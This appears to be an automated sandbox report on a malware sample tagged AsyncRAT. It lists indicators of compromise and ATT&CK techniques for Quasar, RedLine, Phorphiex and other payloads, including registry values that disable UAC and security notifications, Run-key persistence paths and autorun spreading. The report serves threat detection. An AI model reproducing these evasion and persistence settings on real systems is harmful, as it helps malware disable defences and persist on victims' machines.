asyncrat | 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

Windows Service

T1543.003

Processes:

sysklnorbcv.exesysppvrdnvs.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Start = "4"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Start = "4"	sysppvrdnvs.exe

Phorphiex family
phorphiex

Phorphiex payload 3 IoCs

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\Files\1.exe	family_phorphiex
\Users\Admin\AppData\Local\Temp\Files\newtpp.exe	family_phorphiex
\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex
Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 6 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1216-5513-0x0000000000D40000-0x0000000000DC4000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\SubDir\Java Updater.exe	family_quasar
behavioral1/memory/3344-5541-0x0000000000890000-0x0000000000914000-memory.dmp	family_quasar
behavioral1/memory/4400-6161-0x0000000000BD0000-0x0000000000F1E000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\Programfiles\java.exe	family_quasar
behavioral1/memory/4184-6171-0x0000000000D00000-0x000000000104E000-memory.dmp	family_quasar

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1584-6092-0x0000000001070000-0x000000000108E000-memory.dmp	family_redline
behavioral1/memory/3172-7515-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline

Redline family
redline
SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1584-6092-0x0000000001070000-0x000000000108E000-memory.dmp	family_sectoprat

Sectoprat family
sectoprat
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

1658518264.exewinupsecvmgr.exe

description	pid	process	target process
PID 3820 created 1208	3820	1658518264.exe	Explorer.EXE
PID 3820 created 1208	3820	1658518264.exe	Explorer.EXE
PID 4516 created 1208	4516	winupsecvmgr.exe	Explorer.EXE
PID 4516 created 1208	4516	winupsecvmgr.exe	Explorer.EXE
PID 4516 created 1208	4516	winupsecvmgr.exe	Explorer.EXE

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

Processes:

reg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe

Windows security bypass 2 TTPs 12 IoCs

evasion trojan

Disable or Modify Tools

Modify Registry

Processes:

sysppvrdnvs.exesysklnorbcv.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm
ZharkBot
ZharkBot is a botnet written C++.
botnet zharkbot
Zharkbot family
zharkbot

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\Files\Terminal_9235.exe	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

3064 powershell.exe
2572 powershell.exe
2304 powershell.exe
4176 powershell.exe
3928 powershell.exe
Downloads MZ/PE file
Modifies Windows Firewall 2 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exe

pid process

4540 netsh.exe
Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

3772 attrib.exe
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

pid	process
4540	netsh.exe

pid	process
3772	attrib.exe

Drops startup file 4 IoCs

Processes:

conhost.exeservice.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4a87b5397a2736773782f50e108b2da4.exe	conhost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4a87b5397a2736773782f50e108b2da4.exe	conhost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\service.exe	service.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\service.exe	service.exe

Executes dropped EXE 64 IoCs

Processes:

pimer_bbbcontents7.exeSession-https.exepimer_bbbcontents7.exe1.exeuniv.exesysklnorbcv.exeArmanivenntii_crypted_EASY.exenewtpp.exeTerminal_9235.exetpeinf.exetn8cdkzn.exesysnldcvmr.exesysppvrdnvs.execlient.exePrototype.exeneonn.exe%E5%9B%9B%E6%96%B9%E5%B9%B3%E5%8F%B0-%E5%8D%A1%E5%95%86%E7%AB%AF.exesvchost.exeDeliciousPart.exeFaced.pifIdentifications.exechina.exeRegAsm.exe286830899.exeneon.exeneon.exe617623040.exe123264690.exe1423223895.exe781431589.exeaaa.exespectrum.exeMeeting.exeExplorer.EXEIcon.exe444.exeJava Updater.exe104116141.exe1628723224.execonhost.exe1658518264.exewinupsecvmgr.exe1146015314.exeout.exepi.exeDocuments.exeohtie89k.exeservice.exewindows.execrypted_c360a5b7.exeup.exejeditor.exeJava32.exeUnit.exejava.execrypted.exedropper64.exeWEBDOWN.EXE1418522541.exeservice.exe2993410356.exe775131445.exe2350019260.exepornhub_downloader.exe

pid	process
2644	pimer_bbbcontents7.exe
2532	Session-https.exe
2020	pimer_bbbcontents7.exe
1676	1.exe
1816	univ.exe
1756	sysklnorbcv.exe
2036	Armanivenntii_crypted_EASY.exe
2948	newtpp.exe
2516	Terminal_9235.exe
1616	tpeinf.exe
1712	tn8cdkzn.exe
2796	sysnldcvmr.exe
2104	sysppvrdnvs.exe
2284	client.exe
376	Prototype.exe
1364	neonn.exe
2500	%E5%9B%9B%E6%96%B9%E5%B9%B3%E5%8F%B0-%E5%8D%A1%E5%95%86%E7%AB%AF.exe
5380	svchost.exe
5640	DeliciousPart.exe
5984	Faced.pif
3188	Identifications.exe
1636	china.exe
3572	RegAsm.exe
4452	286830899.exe
4788	neon.exe
4860	neon.exe
4040	617623040.exe
2076	123264690.exe
2692	1423223895.exe
1452	781431589.exe
2140	aaa.exe
1216	spectrum.exe
1616	Meeting.exe
1208	Explorer.EXE
1684	Icon.exe
3128	444.exe
3344	Java Updater.exe
3620	104116141.exe
3644	1628723224.exe
3724	conhost.exe
3820	1658518264.exe
4516	winupsecvmgr.exe
2160	1146015314.exe
1156	out.exe
4560	pi.exe
1732	Documents.exe
2428	ohtie89k.exe
2240	service.exe
1584	windows.exe
2268	crypted_c360a5b7.exe
3320	up.exe
4252	jeditor.exe
4400	Java32.exe
4372	Unit.exe
4184	java.exe
4420	crypted.exe
4708	dropper64.exe
2236	WEBDOWN.EXE
2376	1418522541.exe
5612	service.exe
3516	2993410356.exe
4188	775131445.exe
3608	2350019260.exe
1976	pornhub_downloader.exe

Loads dropped DLL 64 IoCs

Processes:

4363463463464363463463463.exepimer_bbbcontents7.exeArmanivenntii_crypted_EASY.execmd.exe%E5%9B%9B%E6%96%B9%E5%B9%B3%E5%8F%B0-%E5%8D%A1%E5%95%86%E7%AB%AF.exeDeliciousPart.execmd.exechina.exeFaced.pifsysppvrdnvs.exeneonn.exeneon.exesysklnorbcv.exe444.exe1423223895.exetaskeng.exe

pid	process
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2644	pimer_bbbcontents7.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2036	Armanivenntii_crypted_EASY.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2164	cmd.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2500	%E5%9B%9B%E6%96%B9%E5%B9%B3%E5%8F%B0-%E5%8D%A1%E5%95%86%E7%AB%AF.exe
2500	%E5%9B%9B%E6%96%B9%E5%B9%B3%E5%8F%B0-%E5%8D%A1%E5%95%86%E7%AB%AF.exe
2500	%E5%9B%9B%E6%96%B9%E5%B9%B3%E5%8F%B0-%E5%8D%A1%E5%95%86%E7%AB%AF.exe
2500	%E5%9B%9B%E6%96%B9%E5%B9%B3%E5%8F%B0-%E5%8D%A1%E5%95%86%E7%AB%AF.exe
2432	4363463463464363463463463.exe
5400
2432	4363463463464363463463463.exe
5640	DeliciousPart.exe
5788	cmd.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
1636	china.exe
5984	Faced.pif
2104	sysppvrdnvs.exe
1364	neonn.exe
4788	neon.exe
2104	sysppvrdnvs.exe
1756	sysklnorbcv.exe
2104	sysppvrdnvs.exe
1756	sysklnorbcv.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2104	sysppvrdnvs.exe
1756	sysklnorbcv.exe
3128	444.exe
2692	1423223895.exe
4456	taskeng.exe
1756	sysklnorbcv.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe
2432	4363463463464363463463463.exe

Windows security modification 2 TTPs 14 IoCs

evasion trojan

Disable or Modify Tools

Modify Registry

Processes:

sysppvrdnvs.exesysklnorbcv.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

persistence privilege_escalation

Processes:

service.exedropper64.exe1.exetpeinf.exenewtpp.exereg.execonhost.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Windows\CurrentVersion\Run\service = "C:\\Users\\Admin\\AppData\\Roaming\\service.exe"	service.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Windows\CurrentVersion\Run\Services = "C:\\Users\\Admin\\AppData\\Roaming\\2DE76586F58A3604296297\\2DE76586F58A3604296297.exe"	dropper64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysklnorbcv.exe"	1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysppvrdnvs.exe"	tpeinf.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysnldcvmr.exe"	newtpp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Windows\CurrentVersion\Run\neon = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\neon.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Windows\CurrentVersion\Run\4a87b5397a2736773782f50e108b2da4 = "\"C:\\Users\\Admin\\AppData\\Roaming\\conhost.exe\" .."	conhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\4a87b5397a2736773782f50e108b2da4 = "\"C:\\Users\\Admin\\AppData\\Roaming\\conhost.exe\" .."	conhost.exe

Drops desktop.ini file(s) 1 IoCs

Processes:

minesweeper.exe

description ioc process

File opened for modification C:\Users\Admin\Saved Games\Microsoft Games\desktop.ini minesweeper.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

24 raw.githubusercontent.com
23 raw.githubusercontent.com

description	ioc	process
File opened for modification	C:\Users\Admin\Saved Games\Microsoft Games\desktop.ini	minesweeper.exe

flow	ioc
24	raw.githubusercontent.com
23	raw.githubusercontent.com

Drops autorun.inf file 1 TTPs 5 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

Processes:

conhost.exe

description	ioc	process
File created	C:\autorun.inf	conhost.exe
File opened for modification	C:\autorun.inf	conhost.exe
File created	D:\autorun.inf	conhost.exe
File created	F:\autorun.inf	conhost.exe
File opened for modification	F:\autorun.inf	conhost.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs
discovery

Process Discovery
T1057

Processes:

tasklist.exetasklist.exe

pid process

5816 tasklist.exe
5904 tasklist.exe

pid	process
5816	tasklist.exe
5904	tasklist.exe

Suspicious use of SetThreadContext 11 IoCs

Processes:

pimer_bbbcontents7.exeneonn.exeInstallUtil.exewinupsecvmgr.execrypted.exedropper64.execock.exe

description	pid	process	target process
PID 2644 set thread context of 2020	2644	pimer_bbbcontents7.exe	pimer_bbbcontents7.exe
PID 1364 set thread context of 6044	1364	neonn.exe	InstallUtil.exe
PID 6044 set thread context of 5036	6044	InstallUtil.exe	InstallUtil.exe
PID 4516 set thread context of 2676	4516	winupsecvmgr.exe	conhost.exe
PID 4516 set thread context of 872	4516	winupsecvmgr.exe	dwm.exe
PID 4420 set thread context of 3448	4420	crypted.exe	RegAsm.exe
PID 4708 set thread context of 4776	4708	dropper64.exe	svchost.exe
PID 4708 set thread context of 4792	4708	dropper64.exe	audiodg.exe
PID 4708 set thread context of 4840	4708	dropper64.exe	msiexec.exe
PID 1364 set thread context of 2704	1364	neonn.exe	InstallUtil.exe
PID 3132 set thread context of 3172	3132	cock.exe	InstallUtil.exe

Drops file in Program Files directory 2 IoCs

Processes:

china.exe

description	ioc	process
File opened for modification	\??\c:\program files\common files\microsoft shared\stationery\funletters\scenic\china.htm	china.exe
File opened for modification	\??\c:\program files\common files\microsoft shared\stationery\funletters\scenic\china.jpg	china.exe

Drops file in Windows directory 11 IoCs

Processes:

newtpp.exeDeliciousPart.exe1.exetpeinf.exe

description	ioc	process
File opened for modification	C:\Windows\sysnldcvmr.exe	newtpp.exe
File opened for modification	C:\Windows\BasedBrakes	DeliciousPart.exe
File opened for modification	C:\Windows\ChapelSpoken	DeliciousPart.exe
File opened for modification	C:\Windows\MotherboardLooking	DeliciousPart.exe
File opened for modification	C:\Windows\CiscoHarder	DeliciousPart.exe
File opened for modification	C:\Windows\sysklnorbcv.exe	1.exe
File created	C:\Windows\sysppvrdnvs.exe	tpeinf.exe
File opened for modification	C:\Windows\sysppvrdnvs.exe	tpeinf.exe
File created	C:\Windows\sysklnorbcv.exe	1.exe
File created	C:\Windows\sysnldcvmr.exe	newtpp.exe
File opened for modification	C:\Windows\TypesCroatia	DeliciousPart.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

1104 sc.exe
1436 sc.exe
1960 sc.exe
1968 sc.exe
1752 sc.exe
2020 sc.exe
872 sc.exe
2216 sc.exe
2008 sc.exe
3008 sc.exe
Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
defense_evasion privilege_escalation

Create Process with Token
T1134.002

Processes:

mshta.exe

pid process

2332 mshta.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
1104	sc.exe
1436	sc.exe
1960	sc.exe
1968	sc.exe
1752	sc.exe
2020	sc.exe
872	sc.exe
2216	sc.exe
2008	sc.exe
3008	sc.exe

pid	process
2332	mshta.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

Processes:

netsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid pid_target process target process

2652 2268 WerFault.exe crypted_c360a5b7.exe
4228 4372 WerFault.exe

pid	pid_target	process	target process
2652	2268	WerFault.exe	crypted_c360a5b7.exe
4228	4372	WerFault.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

PING.EXEcmd.execmd.execonhost.exeIEXPLORE.EXEsc.exesc.exesc.execmd.exefindstr.exechina.execmd.execmd.exetasklist.execmd.exejeditor.exesc.exechoice.execrypted_c360a5b7.exeup.exeschtasks.exesc.exesc.exeInstallUtil.exeneon.exe1.execmd.exeInstallUtil.execrypted.exepornhub_downloader.execock.exesc.exesysnldcvmr.exe1423223895.exenewtpp.exereg.exesysppvrdnvs.exepowershell.exeIcon.exeUnit.exeInstallUtil.exepimer_bbbcontents7.exetpeinf.exesc.exeDeliciousPart.exefindstr.exeWEBDOWN.EXEPORNHU~1.EXE4363463463464363463463463.exepowershell.exetimeout.exeDocuments.execmd.exesc.exetasklist.exeuniv.execmd.exefindstr.exeneon.exeRegAsm.exeTerminal_9235.exeneonn.exeInstallUtil.exesc.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	conhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	china.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jeditor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crypted_c360a5b7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	up.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	neon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crypted.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pornhub_downloader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cock.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysnldcvmr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1423223895.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	newtpp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysppvrdnvs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Icon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Unit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pimer_bbbcontents7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tpeinf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DeliciousPart.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WEBDOWN.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PORNHU~1.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Documents.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	univ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	neon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Terminal_9235.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	neonn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

cmd.exePING.EXE

pid process

5584 cmd.exe
